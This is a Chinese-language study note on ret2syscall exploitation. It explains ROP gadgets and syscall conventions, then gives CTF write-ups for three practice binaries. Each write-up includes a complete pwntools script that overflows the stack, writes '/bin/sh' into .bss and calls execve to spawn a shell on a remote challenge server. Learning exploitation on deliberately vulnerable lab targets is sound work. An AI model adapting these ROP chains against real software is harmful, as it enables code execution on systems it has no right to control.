0%

ret2syscall学习总结

前提知识

ret2syscall是什么

ret2syscall,即return to syscall,意思是劫持函数返回地址为通过ROP构造的系统调用函数的地址,控制程序执行系统调用,拿到shell

ROP原理

ROP的全称为Return-oriented programming,即返回导向编程。其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段(gadget)来改变某些寄存器或变量的值,从而控制程序的执行流程。

gadgets

gadgets就是以ret结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ROP攻击执行需要满足的条件

1.存在栈溢出,可以控制返回地址。

2.可以找到满足条件的gadgets及其地址。

有关系统调用的知识

32

32位系统调用的前6个寄存器分别为ebx,ecx,edx,esi,edi,ebp。通过查看/usr/include/x86_64-linux-gnu/asm/unistd_32.h32文件,我们可以找到函数的系统调用号。


1、把函数的系统调用号放入```eax```寄存器中

2、把函数参数依次放入寄存器中

3、执行```int 0x80```指令中断

#### ```64```位

​ ```64```位系统调用的前```6```个寄存器分别为```rdi,rsi,rdx,rcx,r8,r9```。通过查看```/usr/include/x86_64-linux-gnu/asm/unistd_64.h```文件,我们可以找到函数的系统调用号。

```64```位应用程序调用系统调用的过程:

1、把函数的系统调用号放入```rax```寄存器中

2、把函数参数此次放入寄存器中

3、执行```syscall```指令

## 例题

### ```inndy_rop```

拿到题的第一步,先检查一下保护,只开了```NX```保护,并且可知该程序是```32```位的。

![image-20231209145936854](https://raw.githubusercontent.com/Qwen11/picture/main/202503132354775.png)

拖入```ida```中,有```gets```函数,可以栈溢出

![image-20231209162919247](https://raw.githubusercontent.com/Qwen11/picture/main/202503132354081.png)

计算偏移量为```0x10```

![image-20231209232158602](https://raw.githubusercontent.com/Qwen11/picture/main/202503132354890.png)

```syscall```的函数调用规范为```execve("/bin/sh",0,0)```,```execve```函数的系统调用号为```11```。

我们先找到相关的```gadgets```地址,用```ROPgadget --binary rop | grep "pop eax ; ret"```命令寻找```pop eax ; ret```,其他同理

![image-20231209164349380](https://raw.githubusercontent.com/Qwen11/picture/main/202503132354758.png)

![image-20231209164436996](https://raw.githubusercontent.com/Qwen11/picture/main/202503132354412.png)

![image-20231209164618437](https://raw.githubusercontent.com/Qwen11/picture/main/202503132354139.png)

![image-20231209164548872](https://raw.githubusercontent.com/Qwen11/picture/main/202503132354570.png)

```int 0x80```指令的地址

![image-20231209165637692](https://raw.githubusercontent.com/Qwen11/picture/main/202503132354935.png)

我们还需要找到```pop dword ptr [ecx] ; ret```的地址(也可以是其他普通寄存器,不过这里我们只能找到```ecx```的。```pop dword ptr [ecx]```的意思是**把栈顶的内容弹到指针指的```ecx```中保存的值作为的地址**),利用命令:```ROPgadget --binary rop | grep "pop dword ptr \[ecx\] ; ret"```,注意要用反斜杠进行转义

![image-20231209203524019](https://raw.githubusercontent.com/Qwen11/picture/main/202503132355878.png)

```bss```段的地址```0x080eafb8```,我们要把```/bin/sh```写入```bss```段

![image-20231209170118582](https://raw.githubusercontent.com/Qwen11/picture/main/202503132355914.png)

这里放一张师父的图片,通过这张图片可以了解把```/bin/sh```写入```bss```段的过程,然后下面的```exp```中我写了相应的解释。

![img](https://raw.githubusercontent.com/Qwen11/picture/main/202503132355926.png)

#### ```exp```

```python
from pwn import *

p = remote("node4.buuoj.cn",27738)
#p = process('./rop')
context(arch='i386',os='linux',log_level='debug')

int_0x80_addr=0x0806c943
bss_addr=0x080eafb8
pop_eax_addr = 0x080b8016
pop_ebx_addr = 0x080481c9
pop_ecx_addr = 0x080de769
pop_edx_addr = 0x0806ecda
pop_in_ecx_addr=0x0804b5ba #指向ecx寄存器中的内容

payload=b'a'*0x10 #栈溢出

payload+=p32(pop_ecx_addr)+p32(bss_addr) #先把bss_addr这个地址弹到ecx中
payload+=p32(pop_in_ecx_addr)+b'/bin' #ecx中的内容作为地址,/bin被写入这个地址里,即被写到bss_addr这个地址中
payload+=p32(pop_ecx_addr)+p32(bss_addr+4) #这个bss_addr+4是上面bss_addr的地址的衔接,因为参数/bin/sh需要两个内存单元存放,因此在这里将上面的地址加4,/sh就存到了下面的内存单元。
payload+=p32(pop_in_ecx_addr)+b'/sh\x00' #前面同理,最后的\x00用来声明字符串的结束

payload+=p32(pop_eax_addr)+p32(0xb) #把系统调用号弹到eax中
payload+=p32(pop_ebx_addr)+p32(bss_addr) #把第一个参数的地址弹到ebx中
payload+=p32(pop_ecx_addr)+p32(0) #把第二个参数弹到ecx中
payload+=p32(pop_edx_addr)+p32(0) #把第三个参数弹到edx中
payload+=p32(int_0x80_addr) #执行int 0x80中断
p.sendline(payload)
p.interactive()

得到flag

image-20231209175629929

cmcc_simplerop

拿到题目,先看保护,开了NX保护,是32位程序

image-20231209195656602

拖入ida,有read函数,可以栈溢出

image-20231209195945310

计算偏移量,这里用cyclic计算偏移量,先复制200个垃圾数据

image-20231210000043823

输入

image-20231210000145966

然后用cyclic -l 0x61616169计算偏移量为320x20

image-20231209235925156


这里我们找不到类似上一题中```pop dword ptr [ecx] ; ret```的```gadgets```,因此我们要用其他方法把```/bin/sh```写入```bss```段。我们可以利用程序中现有的```read```函数,来完成这一步。

```read```函数地址

![image-20231209212415936](https://raw.githubusercontent.com/Qwen11/picture/main/202503132356365.png)



```bss```段的地址```0x080eb2a1```

![image-20231209210856820](https://raw.githubusercontent.com/Qwen11/picture/main/202503132356616.png)

用```ROPgadget --binary simplerop | grep "int 0x80"```命令找到```int 0x80```指令地址

![image-20231209202038108](https://raw.githubusercontent.com/Qwen11/picture/main/202503132356455.png)

寻找```gadgets```

![image-20231209205944371](https://raw.githubusercontent.com/Qwen11/picture/main/202503132356774.png)

![image-20231209210024201](https://raw.githubusercontent.com/Qwen11/picture/main/202503132356145.png)

没有找到```pop ecx ; ret```,但是有```pop edx ; pop ecx ; pop ebx ; ret```,更好了

![image-20231209210337839](https://raw.githubusercontent.com/Qwen11/picture/main/202503132356930.png)

#### ```exp```

```python
from pwn import *
#p = process('./simplerop')
p = remote("node4.buuoj.cn",28283)
context(arch='i386',os='linux',log_level='debug')

bss_addr = 0x080eb2a1
int_0x80_addr = 0x080493e1
pop_eax_addr = 0x080bae06
pop_edx_ecx_ebx_addr = 0x0806e850
read_addr = 0x0806cd50
payload = b'a'*0x20

payload += p32(read_addr)+p32(pop_edx_ecx_ebx_addr)#先把read函数原来的3个参数弹出
payload += p32(0)+p32(bss_addr)+p32(8)#写入read函数的参数

payload += p32(pop_eax_addr)+p32(0xb)#把系统调用号弹到eax中
payload += p32(pop_edx_ecx_ebx_addr)+p32(0)+p32(0)+p32(bss_addr)#把execve函数的3个参数分别弹到ebx,ecx,edx中
payload += p32(int_0x80_addr)#执行int 0x80中断
p.sendline(payload)
p.sendline('/bin/sh\x00')#这里一定要输入\x00去截断
p.interactive()

得到flag

image-20231209214613569

picoctf_2018_can_you_gets_me

拿到题目,先查看保护,只开了NX保护,是32位程序

image-20231209215403163

拖入ida中,有gets函数,可以栈溢出

image-20231209220934817

选一个bss段的地址为0x080eba35

image-20231209221129336

gdb调试计算偏移量为0x1c

image-20231209231510597


寻找```gadgets```片段

![image-20231209215819672](https://raw.githubusercontent.com/Qwen11/picture/main/202503132357083.png)

![image-20231209215908598](https://raw.githubusercontent.com/Qwen11/picture/main/202503132357063.png)

![image-20231209215943969](https://raw.githubusercontent.com/Qwen11/picture/main/202503132357679.png)

![image-20231209220018062](https://raw.githubusercontent.com/Qwen11/picture/main/202503132357248.png)

![image-20231209220149329](https://raw.githubusercontent.com/Qwen11/picture/main/202503132357044.png)

寻找```int 0x80```中断指令

![image-20231209220226939](https://raw.githubusercontent.com/Qwen11/picture/main/202503132357595.png)

#### ```exp```

```python
from pwn import *
p = process('./rop3')
p = remote("node4.buuoj.cn",26246)
context(arch='i386',os='linux',log_level='debug')

pop_eax_addr = 0x080b81c6
pop_ebx_addr = 0x080481c9
pop_ecx_addr = 0x080de955
pop_edx_addr = 0x0806f02a
pop_in_ecx_addr = 0x0804b5ea
int_0x80_addr = 0x0806cc25
bss_addr = 0x080eba35

payload = b'a'*(0x1c)
payload += p32(pop_ecx_addr)+p32(bss_addr)+p32(pop_in_ecx_addr)+b'/bin'
payload += p32(pop_ecx_addr)+p32(bss_addr+4)+p32(pop_in_ecx_addr)+b'/sh\x00'

payload += p32(pop_eax_addr)+p32(0xb)
payload += p32(pop_ebx_addr)+p32(bss_addr)
payload += p32(pop_ecx_addr)+p32(0)
payload += p32(pop_edx_addr)+p32(0)
payload += p32(int_0x80_addr)
p.sendline(payload)
p.interactive()

得到flag

image-20231209222917217